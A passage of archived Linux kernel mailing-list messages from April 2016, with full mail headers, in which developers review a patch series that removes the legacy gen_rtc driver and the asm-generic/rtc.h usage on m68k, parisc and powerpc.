> > +++ b/arch/m68k/kernel/time.c
> > @@ -86,7 +86,24 @@ void read_persistent_clock(struct timespec *ts)
> >         }
> >  }
> >
> > -#ifdef CONFIG_ARCH_USES_GETTIMEOFFSET
> > +#if defined(CONFIG_ARCH_USES_GETTIMEOFFSET) && defined(CONFIG_RTC_DRV_GENERIC)
> 
> s/defined/IS_ENABLED/ for the modular case.

Thanks, fixed in all three architectures/

> > @@ -95,7 +112,10 @@ static int __init rtc_init(void)
> >         if (!mach_hwclk)
> >                 return -ENODEV;
> >
> > -       pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
> > +       /* or just call devm_rtc_device_register instead? */
> 
> I guess this comment is a bogus leftover? There's no "dev" parameter to
> pass to devm_rtc_device_register() here.

Sort of. When I wrote it, I thought that a NULL argument would work,
and I later found out myself that it doesn't.

I'll drop the comment there, but there are still a few ways we (probably
not me, but whoever is interested) could take this further:

- register both the device and the driver here, and call
  devm_rtc_device_register from the probe function so we can move away
  from drivers/rtc/rtc-generic.c

- do this separately for mac, mvme147, mvme16x, sun3, q40 and sun3x

- move the six implementations into drivers/rtc as standalone drivers.

One (AFAIK) unsolved problem here is the question of how to handle
read_boot_clock/read_persistent_clock/update_persistent_clock in this
case. This is a really odd API that is implemented in various ways
on a few major architectures, and not at all on others, so it's all
highly inconsistent.

	Arnd

From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 6/8] char/genrtc: parisc: use asm-generic/rtc.h
Date: Wed, 27 Apr 2016 13:21:16 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <18012781.hPTzXnRcSP@wuerfel>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de> <1461707052-1337718-7-git-send-email-arnd@arndb.de> <3034953.EvqV1iv2Ef@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461756197 32390 80.91.229.3 (27 Apr 2016 11:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 11:23:17 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Apr 27 13:23:08 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1avNYi-0007r4-8P
	for glka-linux-arch@plane.gmane.org; Wed, 27 Apr 2016 13:23:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752621AbcD0LXG (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 27 Apr 2016 07:23:06 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.75]:60218 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752448AbcD0LXE (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 27 Apr 2016 07:23:04 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPSA (Nemesis) id 0MMHDp-1b3NsW3rQL-007zVg; Wed, 27 Apr
 2016 13:21:31 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <3034953.EvqV1iv2Ef@caliban.sf-tec.de>
X-Provags-ID: V03:K0:DrNSvgLoe/7rngE38O3E5s8GB1LlF4k0mgGYqB5TCsGhy/e5UA0
 PRZjcQIqYGLluaSCQsODZJnz4tePBKkUjVXx2ZkxQcpjPkRYJFSY/RdsMKyaYsGtsQvwTd6
 tdDPAS4dv/M12c399aIdZGWP4hdfZEIYogs2UYnyM2xcyf8MYJKkcgXxy37v1jGwk5Zd7aI
 kP6VzHZPh3N28wBH+YnOA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ZYYKlfSOuok=:OnySSQEUmZpAaZ27fe2WCM
 piOiFS3GEgRlp/dMr/ptrjjdTKOejOl7gC0mMoM5RUUd4BjiEirKvKpIu82EBM8/pop2s+Z7l
 RcrsAcvc5e3yh6aKZlfC6kD6pV6azeEZ2pcRCljBKD5BK/ofz222Pp/5SSTghYm5xW++dAYdB
 EAkquGXJwPgvoE9Q+b6CsQOd4FrBc9qW/de04C+YgNk6+gmC1RBzAmREY6q0TKSJyzvNKss/I
 v7x7mGyb39dYGpJvYNbh7NG3e/V8dikc8VgEEzFudI5xwlnkXEf3rleuMGnyrGx7E39Mx57Fc
 SkAVt+TYTdMYmVKiop9FqVlCyOs0J/B3zmi4PgrpIhtKQjmzAZdbmlAGb44JszDZctyt8pfr9
 BPnof8ByB6n1iV9er/htdyThKn2jN/228icD3MYctFWfxiL/iciypY6tkd6uaQTKsqMUE3GlH
 HlTt7P6E7TErPX/s61rFEt88vm1/gJ9PtvtBKoF/i71cKOI1CVpbgBC1zPAWaWqa/gI1ctuJw
 V+dp+JYT48rktoAyjnveQTxg/UW+EIiXsNgG5JZGal053eUT/QDL0s5DBLKFySiCAzP8qapqE
 qgqdWkysc/HrKy5kc+CM7vKVH6wPpojZcNSHVwj1MFtQLNLvH8BWUisAOxTnx62UiJyfguUak
 xZWTir42sciWbTxRtReqwKlV1YiTziqSlRPrDHsHBg26dSezntP6kHKjp2frDY36wgV0NB+dY
 yxTtNJUnOI7P057G
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:31757 gmane.linux.ports.alpha:3672 gmane.linux.kernel:2209254 gmane.linux.ports.ia64:26675 gmane.linux.ports.parisc:26700 gmane.linux.ports.ppc64.devel:126481 gmane.linux.ports.sh.devel:53857
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/31757>

On Wednesday 27 April 2016 00:07:47 Rolf Eike Beer wrote:
> Arnd Bergmann wrote:
> > The asm-generic/rtc.h header can now be included by
> > architectures that provide their own set_rtc_time/get_rtc_time
> > macros, letting us remove most of the common contents in
> > the powerpc implementation.
> 
> parisc in this case.
> 

Fixed, thanks!

	Arnd

From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: Re: char: legacy RTC cleanups
Date: Wed, 27 Apr 2016 13:30:05 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <13390963.BOLfm8tOYx@wuerfel>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de> <4937900.aITlOE9vLo@wuerfel> <CAMuHMdW6AODmVwB59uTvMydbTNiDDxQWB3p-Dp9Dka+GVyP_iw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461756697 8710 80.91.229.3 (27 Apr 2016 11:31:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 11:31:37 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Tony Luck <tony.luck@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	alpha <linux-alpha@vger.kernel.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <l
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-sh-owner@vger.kernel.org Wed Apr 27 13:31:29 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1avNgm-00020q-Jd
	for glps-linuxsh-dev@plane.gmane.org; Wed, 27 Apr 2016 13:31:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753328AbcD0LbR (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 27 Apr 2016 07:31:17 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.187]:53470 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752249AbcD0LbN (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Wed, 27 Apr 2016 07:31:13 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue002) with ESMTPSA (Nemesis) id 0M2l0w-1bnlAn37uo-00sg2A; Wed, 27 Apr
 2016 13:30:18 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <CAMuHMdW6AODmVwB59uTvMydbTNiDDxQWB3p-Dp9Dka+GVyP_iw@mail.gmail.com>
X-Provags-ID: V03:K0:BUyOuwxFttB6LvbT/DPDgPQK2dJu0cJCH8Od/wDsaiy/p4HB+qv
 kWRt+6sQZNasnDCkpXoiwbQiRY0pa3Rm3ACkh50Ic5JDtJ99fMu7zpqoMDhhT2rj8kQPxFf
 /WnTiTUFoAr8T9AnLa+uX7OLFIv3YhCPn7F4owbGAxnvr8v52aFBKueFkLLz9aE9E2Rv9XQ
 lvVIVqcEzawLQWLU05XNw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:C0D3bVxe3RQ=:jfzB8zf4GdGRB5DWMG+tW4
 PRKFfERUdnDATejKGjn5UvhqWh/k76TbDWw07lChd6dMDbmMN8Qh5xq1nJdt85NpY/deSafXj
 FcZBolThu41sBYB6rCPiw+uEhfVwbe+D9qEsYStpS96F32MC/wK/l23KxD2xR8oZ3F8QlyH1M
 DI36kggBFYBA9L99Hsu+6+OLj6t2Lj00Qv26WCrKaz8SOXKgnciOSjp7LIAKGQj0j1jPfEz5J
 NeAC00rTfcgDx0cdakcevvWmvgTklRAryCSl8blziMjbJK1rD8pIALIrKQ8R+Enr5hkYjk/v5
 Vs28KOdsfg2p53AmnY2jl0i65QosbXL9dpnW4s7PLxb8rYvCpgWnELJp0SSUJS7MoiPYfA8/Q
 G8N/Wc6OTjh/RrgZszEg6DeJfZAUV6SNWqBaMNk45776TGzWbT0cfvEYLNxZMNHhqu1dYRjRz
 7p/Jinko2krQQ9J/vrXMbh6W6PWwbgffFuu6Mjh8ff/iosKCX9/G3Xe2HADEtXSD4pv12TxIY
 NxwGk317Hu+ex2lu2bOkH9YCSqLBdA9AIup6XGyggaatxoZEpHX8Uw4a6yVhXvNJip0g8T/ou
 IGIKDYECER5q17LHIYiZ/OUnLSvROGdg0wiO1qzgvAy3HW6lg9/2qjn7WoxsCfWsOswrYNDUD
 BAJH1XSpqIkgjgLYfkTdmjFC1RQolZUIRDoBj8HZpNa8+0J2QQzflcWb7S3KDhHkUY8+S3VJa
 IUXLKQ2d6f+zkJzl
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53858 gmane.linux.ports.alpha:3673 gmane.linux.kernel:2209260 gmane.linux.ports.ia64:26676 gmane.linux.ports.parisc:26701 gmane.linux.ports.ppc64.devel:126482 gmane.linux.kernel.cross-arch:31758
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53858>

On Wednesday 27 April 2016 12:19:59 Geert Uytterhoeven wrote:
> >
> > Right, so we could skip patches 5 and 6, and instead remove the two
> > headers as we remove the driver. Let's see what the architecture
> > maintainers think about it, at least powerpc actually enables gen_rtc
> > in its defconfig, so it might take a while to move it over.
> 
> FWIW, all PPC defconfigs (except tqm8xx.dts, which is a more recent platform)
> enabling it did that long before my old commit to enable rtc-generic support
> on PPC:
> 
> commit bcd68a70cb0eee556d86d93133aa150319bd9f53
> Author: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
> Date:   Thu Feb 19 16:50:46 2009 +0100
> 
>     powerpc: Hook up rtc-generic, and kill rtc-ppc

Ah, interesting. I have two observations about that patch:

- you were moving basically in the opposite direction that I am
  trying to bring it now. ;-)

- I see now that four defconfigs (gamecube, powernv, pseries and wii)
  do enable RTC_DRV_GENERIC. For some reason, ppc64_defconfig only
  enables RTC_DRV_DS1307, I assume that is not intentional.

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 6/8] char/genrtc: parisc: use asm-generic/rtc.h
Date: Wed, 27 Apr 2016 13:35:30 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <4599222.az1Zyv5Lrl@wuerfel>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de> <3034953.EvqV1iv2Ef@caliban.sf-tec.de> <18012781.hPTzXnRcSP@wuerfel>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461757040 13775 80.91.229.3 (27 Apr 2016 11:37:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 11:37:20 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Apr 27 13:37:10 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1avNmH-0003kS-Gf
	for glka-linux-arch@plane.gmane.org; Wed, 27 Apr 2016 13:37:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752621AbcD0LhG (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 27 Apr 2016 07:37:06 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.74]:52278 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752385AbcD0LhE (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 27 Apr 2016 07:37:04 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue102) with ESMTPSA (Nemesis) id 0MCILJ-1ampBM0a2L-0097t9; Wed, 27 Apr
 2016 13:35:43 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <18012781.hPTzXnRcSP@wuerfel>
X-Provags-ID: V03:K0:GXtVJeddx0aRKSP7YEXzT4UnRoT4afDc/lvvxt+5TsK25eVwny/
 EDcLX6yjVpsFC+qK9bODDD5W7BWKtm+Weox05JcN3QVk1fiVKwbmWktQV5788u8Z2pDyZgT
 Gq8sSAE/a2yuGvIxFaylT2/oXNtdz7Ls0zOWQ+EQ60O9YiyZXKUSSxipd4r9k9UdPGEarLr
 UyBtJQ5BsOy/e6WADvV9g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:j2kAsUbPnAI=:mSzv4XLGWh2mb6tk3DgsbQ
 28ix93yN8K7D92qDbVjtfyTXvWss6cDrvlOkgx8prcQoQR8imWNCqt4wOFQtM4aT0P9egDnzN
 95pa/QDXE0IRQeVDPp01ZRz1CA4LduAdTWig1nboPGEKiKhddvfECqw8h41YyB9tpu5ub9FMA
 ct2zZDaXDOrSSK5FHRz6pAYrTqvppMKmFNd9VAATbCRRTbHWlPcR6Ja06Lw32lpmD2zhR8Skc
 xNHUacVH8dTRpgNn/mXl33QvVuBVGHz+P6bXaMGF4H/0zUWT6epVUMv6x5N8X1IGyBgIfU4Zt
 5dt+18shcfToTwbLemvYzCVBghoi2Rc+512O+KoKY2lldHwmjsv35HM/aUDsZmZWa0hYVP/fz
 1jr2xqlPtvyt2d1NYbtlZ7Eiq69DQrGUHvCGHUT+sYXcG8jraroqQ6aQPUTLwo/JkoD+orazk
 PbLCpVCNUaHGx8nUP5yl7qei8JcW7mfc1Ccy4dL4XUZ0VHA5X19LCBrnhuiyTb6GLowsNw1xT
 BCH06xD6f/+my6DbCDfW2quwuSKksfcb98SiELXiXTePueXTaGEaRkN97RzdhtX7+Zf6pmlgb
 Jj8zV0ogHEIvGD+xe2dSxnI4uxcDlqb4sWfReqGfTX45L+oSCywKSGSxv4wik5JiJFtGkg/7l
 2NGECMf8cG2z0boSJJJC2IaFmdjGCLTqN0C1NDxtIIyaSfM5PDOUm7z3dHo+qwKcoL2jvJ+JM
 I8kfQMWT1Vp4UWKg
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:31759 gmane.linux.ports.alpha:3674 gmane.linux.kernel:2209262 gmane.linux.ports.ia64:26677 gmane.linux.ports.parisc:26702 gmane.linux.ports.ppc64.devel:126483 gmane.linux.ports.sh.devel:53859
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/31759>

On Wednesday 27 April 2016 13:21:16 Arnd Bergmann wrote:
> On Wednesday 27 April 2016 00:07:47 Rolf Eike Beer wrote:
> > Arnd Bergmann wrote:
> > > The asm-generic/rtc.h header can now be included by
> > > architectures that provide their own set_rtc_time/get_rtc_time
> > > macros, letting us remove most of the common contents in
> > > the powerpc implementation.
> > 
> > parisc in this case.
> > 
> 
> Fixed, thanks!

Actually, after the comment about just removing the gen_rtc driver
in the long run, I checked again and found that PARISC unconditionally
selects RTC_CLASS, so this driver can't even be built here.
We should just remove the header and drop PARISC from the list.

If we also drop m68k, that just leaves powerpc.

	Arnd

From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 6/8] char/genrtc: parisc: use asm-generic/rtc.h
Date: Wed, 27 Apr 2016 13:55:43 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <CAMuHMdV0DwdMkJURBH05ntrJWz0eY_wT__vHG32sx-sjSp0m_w@mail.gmail.com>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
	<3034953.EvqV1iv2Ef@caliban.sf-tec.de>
	<18012781.hPTzXnRcSP@wuerfel>
	<4599222.az1Zyv5Lrl@wuerfel>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461758174 32731 80.91.229.3 (27 Apr 2016 11:56:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 11:56:14 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Tony Luck <tony.luck@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	alpha <linux-alpha@vger.kernel.org>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxp
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-sh-owner@vger.kernel.org Wed Apr 27 13:56:09 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1avO4d-0001FO-PC
	for glps-linuxsh-dev@plane.gmane.org; Wed, 27 Apr 2016 13:56:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753588AbcD0Lzt (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 27 Apr 2016 07:55:49 -0400
Original-Received: from mail-ig0-f193.google.com ([209.85.213.193]:34326 "EHLO
	mail-ig0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753279AbcD0Lzo (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Wed, 27 Apr 2016 07:55:44 -0400
Original-Received: by mail-ig0-f193.google.com with SMTP id qu10so6409381igc.1;
        Wed, 27 Apr 2016 04:55:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=nzIxPQ7bUkOwHc3jsyP7t7G4P4GiFdojQV4DRlL8cVI=;
        b=cRusqZRklyU/MLJ1Gc5gkUTSvxmJ3Shx1/PLva4zyDRNMIJAMwCGKf1d+6f/xsOpLb
         LMTNNk522O5EQFJ8gFlDtvMs1qN7Qx7ziXdtmT61yQexSEBiCZlbN9rqdQP6UeH/0j4E
         YiXEsEZWu/ChBoCYrHlvQ6EhL59aaO64/gSyaCrX0LPhi0gGgpTHkL49lnxB1TTeqMiO
         xXqP0ay7z/UFHQA/DYbG3xY+lgnMmPbFMEW1CvAYE2oy/ur99vlV2MK7b/ufmx8VQwsu
         Cq4Iql5e/tXqB+kKyUoNI1Ss/CMHv5bRuFh8WDTRnzYRBE1EHQWPOGrPJC1GENAVvYMD
         CIug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=nzIxPQ7bUkOwHc3jsyP7t7G4P4GiFdojQV4DRlL8cVI=;
        b=KImkZXfi+7nwFfXcdP+wtIFDqU33bX7OLbqqq4uLovXWu/ooOzy37uA+ruSHe/fTOf
         c2d/kZuCKU+lzEjKrk1KMSvYUdZ83CrL/Lz53Q+MmcTbkVT/RirXUSnnD1W75PwtIuW2
         4oY/+QZ9Cr0KWuE85N5iM71xew3TNCkRfoyYey5Lf850qGw0U3GaMZyOhOusi4Jlvmo0
         WiVS4PLnDb+QcrdL+UbMm+cOXeytBAxKqN5cPs93JIxveaIbLQj7F+SyG1zAci3+8W1B
         qDEaiB4s38UmIYu3Gb9yJN+Nua/mG5nZxefjcdBPtvpgZ5X8qFBwKfxStDnThLyzMrWa
         j3LQ==
X-Gm-Message-State: AOPr4FWZx9H8abZnpiAO2EhgmNBUTty9E0owYw6Oa8PBdhAyoKKg7sfi7iryooeY6JocSdcgAVPavNd7ZcH1ww==
X-Received: by 10.50.61.169 with SMTP id q9mr26902697igr.10.1461758143701;
 Wed, 27 Apr 2016 04:55:43 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Wed, 27 Apr 2016 04:55:43 -0700 (PDT)
In-Reply-To: <4599222.az1Zyv5Lrl@wuerfel>
X-Google-Sender-Auth: ldxqG8uen437O5zm87ah2k3wo0o
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53860 gmane.linux.ports.alpha:3675 gmane.linux.kernel:2209279 gmane.linux.ports.ia64:26679 gmane.linux.ports.parisc:26703 gmane.linux.ports.ppc64.devel:126484 gmane.linux.kernel.cross-arch:31760
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53860>

On Wed, Apr 27, 2016 at 1:35 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> On Wednesday 27 April 2016 13:21:16 Arnd Bergmann wrote:
>> On Wednesday 27 April 2016 00:07:47 Rolf Eike Beer wrote:
>> > Arnd Bergmann wrote:
>> > > The asm-generic/rtc.h header can now be included by
>> > > architectures that provide their own set_rtc_time/get_rtc_time
>> > > macros, letting us remove most of the common contents in
>> > > the powerpc implementation.
>> >
>> > parisc in this case.
>> >
>>
>> Fixed, thanks!
>
> Actually, after the comment about just removing the gen_rtc driver
> in the long run, I checked again and found that PARISC unconditionally
> selects RTC_CLASS, so this driver can't even be built here.
> We should just remove the header and drop PARISC from the list.
>
> If we also drop m68k, that just leaves powerpc.

I've just checked Debian's unofficial linux-image-4.5.0-1-m68k_4.5.1-1_m68k,
and it also enables RTC_CLASS and CONFIG_RTC_DRV_GENERIC, so gen_rtc
can be dropped on m68k for sure.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
